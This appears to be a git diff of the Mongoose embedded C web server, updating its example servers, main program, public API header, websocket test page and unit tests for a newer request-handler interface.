return 1; return MG_REQUEST_PROCESSED;
} }
int main(void) { int main(void) {
struct mg_server *server = mg_create_server(NULL); struct mg_server *server = mg_create_server(NULL);
mg_set_option(server, "listening_port", "8080"); mg_set_option(server, "listening_port", "8080");
mg_add_uri_handler(server, "/", handler); mg_set_request_handler(server, handler);
printf("Starting on port %s\n", mg_get_option(server, "listening_port")); printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
for (;;) { for (;;) {
mg_poll_server(server, 1000); mg_poll_server(server, 1000);
-48
View File
@@ -1,48 +0,0 @@
#include <unistd.h>
#include <string.h>
#include "mongoose.h"
static void iterate_callback(struct mg_connection *c, void *param) {
if (c->is_websocket) {
char buf[20];
int len = snprintf(buf, sizeof(buf), "%d", * (int *) param);
mg_websocket_write(c, 1, buf, len);
}
}
// This handler is called for each incoming websocket frame, one or more
// times for connection lifetime.
static int handler(struct mg_connection *conn) {
static const char oops[] = "HTTP/1.0 200 OK\r\n\r\nwebsocket data expected\n";
if (!conn->is_websocket) {
mg_write(conn, oops, sizeof(oops) - 1);
return 1;
}
mg_websocket_write(conn, 1, conn->content, conn->content_len);
return conn->content_len == 4 && !memcmp(conn->content, "exit", 4);
}
int main(int argc, char *argv[]) {
struct mg_server *server = mg_create_server(NULL);
unsigned int current_timer = 0, last_timer = 0;
mg_set_option(server, "listening_port", "8080");
mg_set_option(server, "document_root", argc > 1 ? argv[1] : ".");
mg_add_uri_handler(server, "/ws", handler);
printf("Started on port %s\n", mg_get_option(server, "listening_port"));
for (;;) {
current_timer = mg_poll_server(server, 1);
if (current_timer - last_timer > 4) {
last_timer = current_timer;
mg_iterate_over_connections(server, iterate_callback, &current_timer);
}
}
mg_destroy_server(&server);
return 0;
}
+480
View File
@@ -0,0 +1,480 @@
// Copyright (c) 2004-2013 Sergey Lyubka
// Copyright (c) 2013-2014 Cesanta Software Limited
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
#undef UNICODE // Use ANSI WinAPI functions
#undef _UNICODE // Use multibyte encoding on Windows
#define _MBCS // Use multibyte encoding on Windows
#define _WIN32_WINNT 0x500 // Enable MIIM_BITMAP
#define _CRT_SECURE_NO_WARNINGS // Disable deprecation warning in VS2005
#define _XOPEN_SOURCE 600 // For PATH_MAX on linux
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <errno.h>
#include <limits.h>
#include <stddef.h>
#include <stdarg.h>
#include <ctype.h>
#include "mongoose.h"
#ifdef _WIN32
#include <windows.h>
#include <direct.h> // For chdir()
#include <winsvc.h>
#include <shlobj.h>
#ifndef PATH_MAX
#define PATH_MAX MAX_PATH
#endif
#ifndef S_ISDIR
#define S_ISDIR(x) ((x) & _S_IFDIR)
#endif
#define DIRSEP '\\'
#define snprintf _snprintf
#define vsnprintf _vsnprintf
#define sleep(x) Sleep((x) * 1000)
#define abs_path(rel, abs, abs_size) _fullpath((abs), (rel), (abs_size))
#define SIGCHLD 0
typedef struct _stat file_stat_t;
#define stat(x, y) _stat((x), (y))
#else
typedef struct stat file_stat_t;
#include <sys/wait.h>
#include <unistd.h>
#define DIRSEP '/'
#define __cdecl
#define abs_path(rel, abs, abs_size) realpath((rel), (abs))
#endif // _WIN32
#define MAX_OPTIONS 100
#define MAX_CONF_FILE_LINE_SIZE (8 * 1024)
static int exit_flag;
static char server_name[50]; // Set by init_server_name()
static char config_file[PATH_MAX]; // Set by process_command_line_arguments()
static struct mg_server *server; // Set by start_mongoose()
static const char *s_default_document_root = ".";
static const char *s_default_listening_port = "8080";
#if !defined(CONFIG_FILE)
#define CONFIG_FILE "mongoose.conf"
#endif /* !CONFIG_FILE */
static void __cdecl signal_handler(int sig_num) {
// Reinstantiate signal handler
signal(sig_num, signal_handler);
#ifndef _WIN32
// Do not do the trick with ignoring SIGCHLD, cause not all OSes (e.g. QNX)
// reap zombies if SIGCHLD is ignored. On QNX, for example, waitpid()
// fails if SIGCHLD is ignored, making system() non-functional.
if (sig_num == SIGCHLD) {
do {} while (waitpid(-1, &sig_num, WNOHANG) > 0);
} else
#endif
{ exit_flag = sig_num; }
}
static void vnotify(const char *fmt, va_list ap, int must_exit) {
char msg[200];
vsnprintf(msg, sizeof(msg), fmt, ap);
fprintf(stderr, "%s\n", msg);
if (must_exit) {
exit(EXIT_FAILURE);
}
}
static void notify(const char *fmt, ...) {
va_list ap;
va_start(ap, fmt);
vnotify(fmt, ap, 0);
va_end(ap);
}
static void die(const char *fmt, ...) {
va_list ap;
va_start(ap, fmt);
vnotify(fmt, ap, 1);
va_end(ap);
}
static void show_usage_and_exit(void) {
const char **names;
int i;
fprintf(stderr, "Mongoose version %s (c) Sergey Lyubka, built on %s\n",
MONGOOSE_VERSION, __DATE__);
fprintf(stderr, "Usage:\n");
#ifndef MONGOOSE_NO_AUTH
fprintf(stderr, " mongoose -A <htpasswd_file> <realm> <user> <passwd>\n");
#endif
fprintf(stderr, " mongoose [config_file]\n");
fprintf(stderr, " mongoose [-option value ...]\n");
fprintf(stderr, "\nOPTIONS:\n");
names = mg_get_valid_option_names();
for (i = 0; names[i] != NULL; i += 2) {
fprintf(stderr, " -%s %s\n",
names[i], names[i + 1] == NULL ? "<empty>" : names[i + 1]);
}
exit(EXIT_FAILURE);
}
static char *sdup(const char *str) {
char *p;
if ((p = (char *) malloc(strlen(str) + 1)) != NULL) {
strcpy(p, str);
}
return p;
}
static void set_option(char **options, const char *name, const char *value) {
int i;
for (i = 0; i < MAX_OPTIONS - 3; i++) {
if (options[i] == NULL) {
options[i] = sdup(name);
options[i + 1] = sdup(value);
options[i + 2] = NULL;
break;
} else if (!strcmp(options[i], name)) {
free(options[i + 1]);
options[i + 1] = sdup(value);
break;
}
}
if (i == MAX_OPTIONS - 3) {
die("%s", "Too many options specified");
}
}
static void process_command_line_arguments(char *argv[], char **options) {
char line[MAX_CONF_FILE_LINE_SIZE], opt[sizeof(line)], val[sizeof(line)], *p;
FILE *fp = NULL;
size_t i, cmd_line_opts_start = 1, line_no = 0;
// Should we use a config file ?
if (argv[1] != NULL && argv[1][0] != '-') {
snprintf(config_file, sizeof(config_file), "%s", argv[1]);
cmd_line_opts_start = 2;
} else if ((p = strrchr(argv[0], DIRSEP)) == NULL) {
// No command line flags specified. Look where binary lives
snprintf(config_file, sizeof(config_file), "%s", CONFIG_FILE);
} else {
snprintf(config_file, sizeof(config_file), "%.*s%c%s",
(int) (p - argv[0]), argv[0], DIRSEP, CONFIG_FILE);
}
fp = fopen(config_file, "r");
// If config file was set in command line and open failed, die
if (cmd_line_opts_start == 2 && fp == NULL) {
die("Cannot open config file %s: %s", config_file, strerror(errno));
}
// Load config file settings first
if (fp != NULL) {
fprintf(stderr, "Loading config file %s\n", config_file);
// Loop over the lines in config file
while (fgets(line, sizeof(line), fp) != NULL) {
line_no++;
// Ignore empty lines and comments
for (i = 0; isspace(* (unsigned char *) &line[i]); ) i++;
if (line[i] == '#' || line[i] == '\0') {
continue;
}
if (sscanf(line, "%s %[^\r\n#]", opt, val) != 2) {
printf("%s: line %d is invalid, ignoring it:\n %s",
config_file, (int) line_no, line);
} else {
set_option(options, opt, val);
}
}
fclose(fp);
}
// If we're under MacOS and started by launchd, then the second
// argument is process serial number, -psn_.....
// In this case, don't process arguments at all.
if (argv[1] == NULL || memcmp(argv[1], "-psn_", 5) != 0) {
// Handle command line flags.
// They override config file and default settings.
for (i = cmd_line_opts_start; argv[i] != NULL; i += 2) {
if (argv[i][0] != '-' || argv[i + 1] == NULL) {
show_usage_and_exit();
}
set_option(options, &argv[i][1], argv[i + 1]);
}
}
}
static void init_server_name(void) {
const char *descr = "";
snprintf(server_name, sizeof(server_name), "Mongoose web server v.%s%s",
MONGOOSE_VERSION, descr);
}
static int is_path_absolute(const char *path) {
#ifdef _WIN32
return path != NULL &&
((path[0] == '\\' && path[1] == '\\') || // UNC path, e.g. \\server\dir
(isalpha(path[0]) && path[1] == ':' && path[2] == '\\')); // E.g. X:\dir
#else
return path != NULL && path[0] == '/';
#endif
}
static char *get_option(char **options, const char *option_name) {
int i;
for (i = 0; options[i] != NULL; i++)
if (!strcmp(options[i], option_name))
return options[i + 1];
return NULL;
}
static int path_exists(const char *path, int is_dir) {
file_stat_t st;
return path == NULL || (stat(path, &st) == 0 &&
((S_ISDIR(st.st_mode) ? 1 : 0) == is_dir));
}
static void verify_existence(char **options, const char *name, int is_dir) {
const char *path = get_option(options, name);
if (!path_exists(path, is_dir)) {
notify("Invalid path for %s: [%s]: (%s). Make sure that path is either "
"absolute, or it is relative to mongoose executable.",
name, path, strerror(errno));
}
}
static void set_absolute_path(char *options[], const char *option_name,
const char *path_to_mongoose_exe) {
char path[PATH_MAX], abs[PATH_MAX], *option_value;
const char *p;
// Check whether option is already set
option_value = get_option(options, option_name);
// If option is already set and it is an absolute path,
// leave it as it is -- it's already absolute.
if (option_value != NULL && !is_path_absolute(option_value)) {
// Not absolute. Use the directory where mongoose executable lives
// be the relative directory for everything.
// Extract mongoose executable directory into path.
if ((p = strrchr(path_to_mongoose_exe, DIRSEP)) == NULL) {
getcwd(path, sizeof(path));
} else {
snprintf(path, sizeof(path), "%.*s", (int) (p - path_to_mongoose_exe),
path_to_mongoose_exe);
}
strncat(path, "/", sizeof(path) - 1);
strncat(path, option_value, sizeof(path) - 1);
// Absolutize the path, and set the option
abs_path(path, abs, sizeof(abs));
set_option(options, option_name, abs);
}
}
#ifndef MONGOOSE_NO_AUTH
int modify_passwords_file(const char *fname, const char *domain,
const char *user, const char *pass) {
int found;
char line[512], u[512], d[512], ha1[33], tmp[PATH_MAX];
FILE *fp, *fp2;
found = 0;
fp = fp2 = NULL;
// Regard empty password as no password - remove user record.
if (pass != NULL && pass[0] == '\0') {
pass = NULL;
}
(void) snprintf(tmp, sizeof(tmp), "%s.tmp", fname);
// Create the file if does not exist
if ((fp = fopen(fname, "a+")) != NULL) {
fclose(fp);
}
// Open the given file and temporary file
if ((fp = fopen(fname, "r")) == NULL) {
return 0;
} else if ((fp2 = fopen(tmp, "w+")) == NULL) {
fclose(fp);
return 0;
}
// Copy the stuff to temporary file
while (fgets(line, sizeof(line), fp) != NULL) {
if (sscanf(line, "%[^:]:%[^:]:%*s", u, d) != 2) {
continue;
}
if (!strcmp(u, user) && !strcmp(d, domain)) {
found++;
if (pass != NULL) {
mg_md5(ha1, user, ":", domain, ":", pass, NULL);
fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
}
} else {
fprintf(fp2, "%s", line);
}
}
// If new user, just add it
if (!found && pass != NULL) {
mg_md5(ha1, user, ":", domain, ":", pass, NULL);
fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
}
// Close files
fclose(fp);
fclose(fp2);
// Put the temp file in place of real file
remove(fname);
rename(tmp, fname);
return 1;
}
#endif
static void start_mongoose(int argc, char *argv[]) {
char *options[MAX_OPTIONS];
int i;
if ((server = mg_create_server(NULL)) == NULL) {
die("%s", "Failed to start Mongoose.");
}
#ifndef MONGOOSE_NO_AUTH
// Edit passwords file if -A option is specified
if (argc > 1 && !strcmp(argv[1], "-A")) {
if (argc != 6) {
show_usage_and_exit();
}
exit(modify_passwords_file(argv[2], argv[3], argv[4], argv[5]) ?
EXIT_SUCCESS : EXIT_FAILURE);
}
#endif
// Show usage if -h or --help options are specified
if (argc == 2 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) {
show_usage_and_exit();
}
options[0] = NULL;
set_option(options, "document_root", s_default_document_root);
set_option(options, "listening_port", s_default_listening_port);
// Update config based on command line arguments
process_command_line_arguments(argv, options);
// Make sure we have absolute paths for files and directories
// https://github.com/valenok/mongoose/issues/181
set_absolute_path(options, "document_root", argv[0]);
set_absolute_path(options, "dav_auth_file", argv[0]);
set_absolute_path(options, "cgi_interpreter", argv[0]);
set_absolute_path(options, "access_log_file", argv[0]);
set_absolute_path(options, "global_auth_file", argv[0]);
set_absolute_path(options, "ssl_certificate", argv[0]);
if (!path_exists(get_option(options, "document_root"), 1)) {
set_option(options, "document_root", s_default_document_root);
set_absolute_path(options, "document_root", argv[0]);
notify("Setting document_root to [%s]",
mg_get_option(server, "document_root"));
}
// Make extra verification for certain options
verify_existence(options, "document_root", 1);
verify_existence(options, "cgi_interpreter", 0);
verify_existence(options, "ssl_certificate", 0);
for (i = 0; options[i] != NULL; i += 2) {
const char *msg = mg_set_option(server, options[i], options[i + 1]);
if (msg != NULL) {
notify("Failed to set option [%s] to [%s]: %s",
options[i], options[i + 1], msg);
if (!strcmp(options[i], "listening_port")) {
mg_set_option(server, "listening_port", s_default_listening_port);
notify("Setting %s to [%s]", options[i], s_default_listening_port);
}
}
free(options[i]);
free(options[i + 1]);
}
// Change current working directory to document root. This way,
// scripts can use relative paths.
chdir(mg_get_option(server, "document_root"));
// Add an ability to pass listening socket to mongoose
{
const char *env = getenv("MONGOOSE_LISTENING_SOCKET");
if (env != NULL && atoi(env) > 0 ) {
mg_set_listening_socket(server, atoi(env));
}
}
// Setup signal handler: quit on Ctrl-C
signal(SIGTERM, signal_handler);
signal(SIGINT, signal_handler);
#ifndef _WIN32
signal(SIGCHLD, signal_handler);
#endif
}
int main(int argc, char *argv[]) {
init_server_name();
start_mongoose(argc, argv);
printf("%s serving [%s] on port %s\n",
server_name, mg_get_option(server, "document_root"),
mg_get_option(server, "listening_port"));
fflush(stdout); // Needed, Windows terminals might not be line-buffered
while (exit_flag == 0) {
mg_poll_server(server, 1000);
}
printf("Exiting on signal %d ...", exit_flag);
fflush(stdout);
mg_destroy_server(&server);
printf("%s\n", " done.");
return EXIT_SUCCESS;
}
+36 -34
View File
@@ -5,48 +5,50 @@
#include <string.h> #include <string.h>
#include "mongoose.h" #include "mongoose.h"
static int event_handler(struct mg_event *event) { static int index_html(struct mg_connection *conn) {
const char *data;
int data_len;
char var_name[100], file_name[100];
if (event->type == MG_REQUEST_BEGIN) { mg_printf_data(conn, "%s",
if (!strcmp(event->request_info->uri, "/handle_post_request")) { "<html><body>Upload example."
char path[200]; "<form method=\"POST\" action=\"/handle_post_request\" "
FILE *fp = mg_upload(event->conn, "/tmp", path, sizeof(path)); " enctype=\"multipart/form-data\">"
if (fp != NULL) { "<input type=\"file\" name=\"file\" /> <br/>"
fclose(fp); "<input type=\"submit\" value=\"Upload\" />"
mg_printf(event->conn, "HTTP/1.0 200 OK\r\n\r\nSaved: [%s]", path); "</form>");
} else {
mg_printf(event->conn, "%s", "HTTP/1.0 200 OK\r\n\r\nNo files sent");
}
} else {
// Show HTML form. Make sure it has enctype="multipart/form-data" attr.
static const char *html_form =
"<html><body>Upload example."
"<form method=\"POST\" action=\"/handle_post_request\" "
" enctype=\"multipart/form-data\">"
"<input type=\"file\" name=\"file\" /> <br/>"
"<input type=\"submit\" value=\"Upload\" />"
"</form></body></html>";
mg_printf(event->conn, "HTTP/1.0 200 OK\r\n" if (mg_parse_multipart(conn->content, conn->content_len,
"Content-Length: %d\r\n" var_name, sizeof(var_name),
"Content-Type: text/html\r\n\r\n%s", file_name, sizeof(file_name),
(int) strlen(html_form), html_form); &data, &data_len) > 0) {
}
// Mark request as processed mg_printf_data(conn, "%s", "Uploaded file:<pre>");
return 1; mg_send_data(conn, data, data_len);
mg_printf_data(conn, "%s", "/pre>");
} }
// All other events left unprocessed mg_printf_data(conn, "%s", "</body></html>");
return 1;
return MG_REQUEST_PROCESSED;
} }
int main(void) { int main(void) {
struct mg_context *ctx; struct mg_server *server;
const char *options[] = {"listening_ports", "8080", NULL};
ctx = mg_start(options, event_handler, NULL); // Create and configure the server
getchar(); // Wait until user hits "enter" server = mg_create_server(NULL);
mg_stop(ctx); mg_set_option(server, "listening_port", "8080");
mg_set_request_handler(server, index_html);
// Serve request. Hit Ctrl-C to terminate the program
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
for (;;) {
mg_poll_server(server, 1000);
}
// Cleanup, and free server instance
mg_destroy_server(&server);
return 0; return 0;
} }
+38 -54
View File
@@ -1,67 +1,51 @@
// Copyright (c) 2004-2012 Sergey Lyubka
// This file is a part of mongoose project, http://github.com/valenok/mongoose
#include <stdio.h>
#include <string.h> #include <string.h>
#include <stdlib.h>
#include "mongoose.h" #include "mongoose.h"
static int event_handler(struct mg_event *event) { extern const char *find_embedded_file(const char *, size_t *);
if (event->type == MG_REQUEST_BEGIN) { static int iterate_callback(struct mg_connection *c) {
const char *version_header = mg_get_header(event->conn, if (c->is_websocket) {
"Sec-WebSocket-Version"); char buf[20];
int len = snprintf(buf, sizeof(buf), "%d", * (int *) c->connection_param);
if (version_header != NULL) { mg_websocket_write(c, 1, buf, len);
// Websocket request, process it
if (strcmp(version_header, "13") != 0) {
mg_printf(event->conn, "%s", "HTTP/1.1 426 Upgrade Required\r\n\r\n");
} else {
static const char *server_ready_message = "server ready";
char *data;
int bits, len, must_exit = 0;
// Handshake, and send initial server message
mg_websocket_handshake(event->conn);
mg_websocket_write(event->conn, WEBSOCKET_OPCODE_TEXT,
server_ready_message, strlen(server_ready_message));
// Read messages sent by client. Echo them back.
while (must_exit == 0 &&
(len = mg_websocket_read(event->conn, &bits, &data)) > 0) {
printf("got message: [%.*s]\n", len, data);
mg_websocket_write(event->conn, WEBSOCKET_OPCODE_TEXT, data, len);
// If the message is "exit", close the connection, exit the loop
if (memcmp(data, "exit", 4) == 0) {
mg_websocket_write(event->conn,
WEBSOCKET_OPCODE_CONNECTION_CLOSE, "", 0);
must_exit = 1;
}
// It's our responsibility to free allocated message
free(data);
}
}
return 1;
}
} }
return MG_REQUEST_PROCESSED;
}
return 0; static int index_html(struct mg_connection *conn) {
size_t index_size;
const char *index_html = find_embedded_file("websocket.html", &index_size);
if (conn->is_websocket) {
// This handler is called for each incoming websocket frame, one or more
// times for connection lifetime.
// Echo websocket data back to the client.
mg_websocket_write(conn, 1, conn->content, conn->content_len);
return conn->content_len == 4 && !memcmp(conn->content, "exit", 4) ?
MG_CLIENT_CLOSE : MG_CLIENT_CONTINUE;
} else {
mg_send_header(conn, "Content-Type", "text/html");
mg_send_data(conn, index_html, index_size);
return MG_REQUEST_PROCESSED;
}
} }
int main(void) { int main(void) {
struct mg_context *ctx; struct mg_server *server = mg_create_server(NULL);
const char *options[] = { unsigned int current_timer = 0, last_timer = 0;
"listening_ports", "8080",
"document_root", "websocket_html_root",
NULL
};
ctx = mg_start(options, &event_handler, NULL); mg_set_option(server, "listening_port", "8080");
getchar(); // Wait until user hits "enter" mg_set_request_handler(server, index_html);
mg_stop(ctx);
printf("Started on port %s\n", mg_get_option(server, "listening_port"));
for (;;) {
current_timer = mg_poll_server(server, 100);
if (current_timer - last_timer > 0) {
last_timer = current_timer;
mg_iterate_over_connections(server, iterate_callback, &current_timer);
}
}
mg_destroy_server(&server);
return 0; return 0;
} }
@@ -24,10 +24,13 @@
out('DISCONNECTED'); out('DISCONNECTED');
}; };
websocket.onmessage = function(ev) { websocket.onmessage = function(ev) {
if (!ev.data) return; // No data, this is a PING message, ignore it if (!ev.data) {
out('<span style="color: blue;">RESPONSE: ' + ev.data + ' </span>'); out('<span style="color: blue;">PING... </span>');
num_messages++; } else {
if (num_messages > 100) { out('<span style="color: blue;">RESPONSE: ' + ev.data + ' </span>');
num_messages++;
}
if (num_messages > 15) {
websocket.send('exit'); websocket.send('exit');
} }
}; };
@@ -37,7 +40,7 @@
}; };
</script> </script>
<style> div {font: small Verdana; } </style> <style> div {font: small Verdana; } </style>
<h2>Qualcomm WebSocket Test</h2> <h2>Mongoose WebSocket Test</h2>
<div id="output"></div> <div id="output"></div>
</html> </html>
-44
View File
@@ -1,44 +0,0 @@
<!DOCTYPE html>
<meta charset="utf-8" />
<title>WebSocket Test</title>
<script language="javascript" type="text/javascript">
var writeToScreen = function(message) {
var div = document.createElement('div');
div.innerHTML = message;
document.getElementById('output').appendChild(div);
};
window.onload = function() {
var url = 'ws://' + window.location.host + '/foo';
websocket = new WebSocket(url);
websocket.onopen = function(ev) {
writeToScreen('CONNECTED');
var message = 'Не всё подчиняется разуму. Но всё подчиняется упорству. ';
writeToScreen('SENT: ' + message);
websocket.send(message);
};
websocket.onclose = function(ev) {
writeToScreen('DISCONNECTED');
};
websocket.onmessage = function(ev) {
writeToScreen('<span style="color: blue;">RESPONSE: ' + ev.data +
' </span>');
websocket.send('exit');
};
websocket.onerror = function(ev) {
writeToScreen('<span style="color: red; ">ERROR: </span> ' + ev.data);
};
};
</script>
<style> div {font: small Verdana; } </style>
<h2>Mongoose WebSocket Test</h2>
<div style="width: 400px; color: #aaa; padding: 1em; ">
This page code creates websocket to the URI "/foo",
sends a message to it, waits for the reply, then sends an "exit" message.
Server must echo all messages back, and terminate the conversation after
receiving the "exit" message.
</div>
<div id="output"></div>
</html>
+801 -464
View File
File diff suppressed because it is too large. Load diff
+31 -12
View File
@@ -1,5 +1,5 @@
// Copyright (c) 2004-2013 Sergey Lyubka <valenok@gmail.com> // Copyright (c) 2004-2013 Sergey Lyubka <valenok@gmail.com>
// Copyright (c) 2013 Cesanta Software Limited // Copyright (c) 2013-2014 Cesanta Software Limited
// All rights reserved // All rights reserved
// //
// This library is dual-licensed: you can redistribute it and/or modify // This library is dual-licensed: you can redistribute it and/or modify
@@ -13,9 +13,9 @@
// See the GNU General Public License for more details. // See the GNU General Public License for more details.
// //
// Alternatively, you can license this library under a commercial // Alternatively, you can license this library under a commercial
// license, as set out in <http://cesanta.com/products.html>. // license, as set out in <http://cesanta.com/>.
// //
// NOTE: Detailed API documentation is at http://cesanta.com/docs.html // NOTE: Detailed API documentation is at http://cesanta.com/#docs
#ifndef MONGOOSE_HEADER_INCLUDED #ifndef MONGOOSE_HEADER_INCLUDED
#define MONGOOSE_HEADER_INCLUDED #define MONGOOSE_HEADER_INCLUDED
@@ -37,7 +37,9 @@ struct mg_connection {
const char *query_string; // URL part after '?', not including '?', or NULL const char *query_string; // URL part after '?', not including '?', or NULL
char remote_ip[48]; // Max IPv6 string length is 45 characters char remote_ip[48]; // Max IPv6 string length is 45 characters
int remote_port; // Client's port const char *local_ip; // Local IP address
unsigned short remote_port; // Client's port
unsigned short local_port; // Local port number
int num_headers; // Number of HTTP headers int num_headers; // Number of HTTP headers
struct mg_header { struct mg_header {
@@ -46,11 +48,11 @@ struct mg_connection {
} http_headers[30]; } http_headers[30];
char *content; // POST (or websocket message) data, or NULL char *content; // POST (or websocket message) data, or NULL
int content_len; // content length size_t content_len; // content length
int is_websocket; // Connection is a websocket connection int is_websocket; // Connection is a websocket connection
int status_code; // HTTP status code for HTTP error handler int status_code; // HTTP status code for HTTP error handler
unsigned char wsbits; // First byte of the websocket frame int wsbits; // First byte of the websocket frame
void *server_param; // Parameter passed to mg_add_uri_handler() void *server_param; // Parameter passed to mg_add_uri_handler()
void *connection_param; // Placeholder for connection-specific data void *connection_param; // Placeholder for connection-specific data
}; };
@@ -63,15 +65,14 @@ struct mg_server *mg_create_server(void *server_param);
void mg_destroy_server(struct mg_server **); void mg_destroy_server(struct mg_server **);
const char *mg_set_option(struct mg_server *, const char *opt, const char *val); const char *mg_set_option(struct mg_server *, const char *opt, const char *val);
unsigned int mg_poll_server(struct mg_server *, int milliseconds); unsigned int mg_poll_server(struct mg_server *, int milliseconds);
void mg_add_uri_handler(struct mg_server *, const char *uri, mg_handler_t); void mg_set_request_handler(struct mg_server *, mg_handler_t);
void mg_set_http_error_handler(struct mg_server *, mg_handler_t); void mg_set_http_error_handler(struct mg_server *, mg_handler_t);
void mg_set_auth_handler(struct mg_server *, mg_handler_t);
const char **mg_get_valid_option_names(void); const char **mg_get_valid_option_names(void);
const char *mg_get_option(const struct mg_server *server, const char *name); const char *mg_get_option(const struct mg_server *server, const char *name);
void mg_set_listening_socket(struct mg_server *, int sock); void mg_set_listening_socket(struct mg_server *, int sock);
int mg_get_listening_socket(struct mg_server *); int mg_get_listening_socket(struct mg_server *);
void mg_iterate_over_connections(struct mg_server *, void mg_iterate_over_connections(struct mg_server *, mg_handler_t, void *);
void (*func)(struct mg_connection *, void *),
void *param);
// Connection management functions // Connection management functions
void mg_send_status(struct mg_connection *, int status_code); void mg_send_status(struct mg_connection *, int status_code);
@@ -86,16 +87,34 @@ int mg_websocket_write(struct mg_connection *, int opcode,
int mg_write(struct mg_connection *, const void *buf, int len); int mg_write(struct mg_connection *, const void *buf, int len);
int mg_printf(struct mg_connection *conn, const char *fmt, ...); int mg_printf(struct mg_connection *conn, const char *fmt, ...);
const char *mg_get_header(const struct mg_connection *, const char *name); const char *mg_get_header(const struct mg_connection *, const char *name);
const char *mg_get_mime_type(const char *file_name); const char *mg_get_mime_type(const char *name, const char *default_mime_type);
int mg_get_var(const struct mg_connection *conn, const char *var_name, int mg_get_var(const struct mg_connection *conn, const char *var_name,
char *buf, size_t buf_len); char *buf, size_t buf_len);
int mg_parse_header(const char *hdr, const char *var_name, char *buf, size_t); int mg_parse_header(const char *hdr, const char *var_name, char *buf, size_t);
int mg_parse_multipart(const char *buf, int buf_len,
char *var_name, int var_name_len,
char *file_name, int file_name_len,
const char **data, int *data_len);
// Utility functions // Utility functions
void *mg_start_thread(void *(*func)(void *), void *param); void *mg_start_thread(void *(*func)(void *), void *param);
char *mg_md5(char buf[33], ...); char *mg_md5(char buf[33], ...);
int mg_authorize_digest(struct mg_connection *c, FILE *fp);
// Callback function return codes
enum { MG_REQUEST_NOT_PROCESSED, MG_REQUEST_PROCESSED, MG_REQUEST_CALL_AGAIN };
enum { MG_AUTH_FAIL, MG_AUTH_OK };
enum { MG_ERROR_NOT_PROCESSED, MG_ERROR_PROCESSED };
enum { MG_CLIENT_CONTINUE, MG_CLIENT_CLOSE };
// HTTP client events
enum {
MG_CONNECT_SUCCESS, MG_CONNECT_FAILURE,
MG_DOWNLOAD_SUCCESS, MG_DOWNLOAD_FAILURE
};
int mg_connect(struct mg_server *, const char *host, int port, int use_ssl,
mg_handler_t handler, void *param);
#ifdef __cplusplus #ifdef __cplusplus
} }
+251 -62
View File
@@ -1,14 +1,15 @@
// Unit test for the mongoose web server. // Unit test for the mongoose web server.
// g++ -W -Wall -pedantic -g unit_test.c -lssl && ./a.out
#define USE_WEBSOCKET // cl unit_test.c /MD
#ifndef _WIN32 #ifndef _WIN32
#define USE_IPV6 #define MONGOOSE_USE_IPV6
#include <netdb.h> // For gethostbyname() #define MONGOOSE_USE_SSL
#endif #endif
#define MONGOOSE_USE_POST_SIZE_LIMIT 999
// USE_* definitions must be made before #include "mongoose.c" ! // USE_* definitions must be made before #include "mongoose.c" !
#include "../mongoose.c" #include "mongoose.c"
#define FAIL(str, line) do { \ #define FAIL(str, line) do { \
printf("Fail on line %d: [%s]\n", line, str); \ printf("Fail on line %d: [%s]\n", line, str); \
@@ -28,6 +29,7 @@
static int static_num_tests = 0; static int static_num_tests = 0;
#if 0
// Connects to host:port, and sends formatted request to it. Returns // Connects to host:port, and sends formatted request to it. Returns
// malloc-ed reply and reply length, or NULL on error. Reply contains // malloc-ed reply and reply length, or NULL on error. Reply contains
// everything including headers, not just the message body. // everything including headers, not just the message body.
@@ -57,7 +59,8 @@ static char *wget(const char *host, int port, int *len, const char *fmt, ...) {
*len = 0; *len = 0;
while ((n = recv(sock, buf, sizeof(buf), 0)) > 0) { while ((n = recv(sock, buf, sizeof(buf), 0)) > 0) {
if (*len + n > reply_size) { if (*len + n > reply_size) {
reply = realloc(reply, reply_size + sizeof(buf)); // Leak possible // Leak possible
reply = (char *) realloc(reply, reply_size + sizeof(buf));
reply_size += sizeof(buf); reply_size += sizeof(buf);
} }
if (reply != NULL) { if (reply != NULL) {
@@ -72,6 +75,7 @@ static char *wget(const char *host, int port, int *len, const char *fmt, ...) {
return reply; return reply;
} }
#endif
static char *read_file(const char *path, int *size) { static char *read_file(const char *path, int *size) {
FILE *fp; FILE *fp;
@@ -79,8 +83,8 @@ static char *read_file(const char *path, int *size) {
char *data = NULL; char *data = NULL;
if ((fp = fopen(path, "rb")) != NULL && !fstat(fileno(fp), &st)) { if ((fp = fopen(path, "rb")) != NULL && !fstat(fileno(fp), &st)) {
*size = (int) st.st_size; *size = (int) st.st_size;
assert((data = malloc(*size)) != NULL); data = (char *) malloc(*size);
assert(fread(data, 1, *size, fp) == (size_t) *size); fread(data, 1, *size, fp);
fclose(fp); fclose(fp);
} }
return data; return data;
@@ -285,7 +289,7 @@ static const char *test_parse_port_string(void) {
NULL NULL
}; };
static const char *invalid[] = { static const char *invalid[] = {
"0", "99999", "1k", "1.2.3", "1.2.3.4:", "1.2.3.4:2p", NULL "99999", "1k", "1.2.3", "1.2.3.4:", "1.2.3.4:2p", NULL
}; };
union socket_address sa; union socket_address sa;
int i; int i;
@@ -297,6 +301,7 @@ static const char *test_parse_port_string(void) {
for (i = 0; invalid[i] != NULL; i++) { for (i = 0; invalid[i] != NULL; i++) {
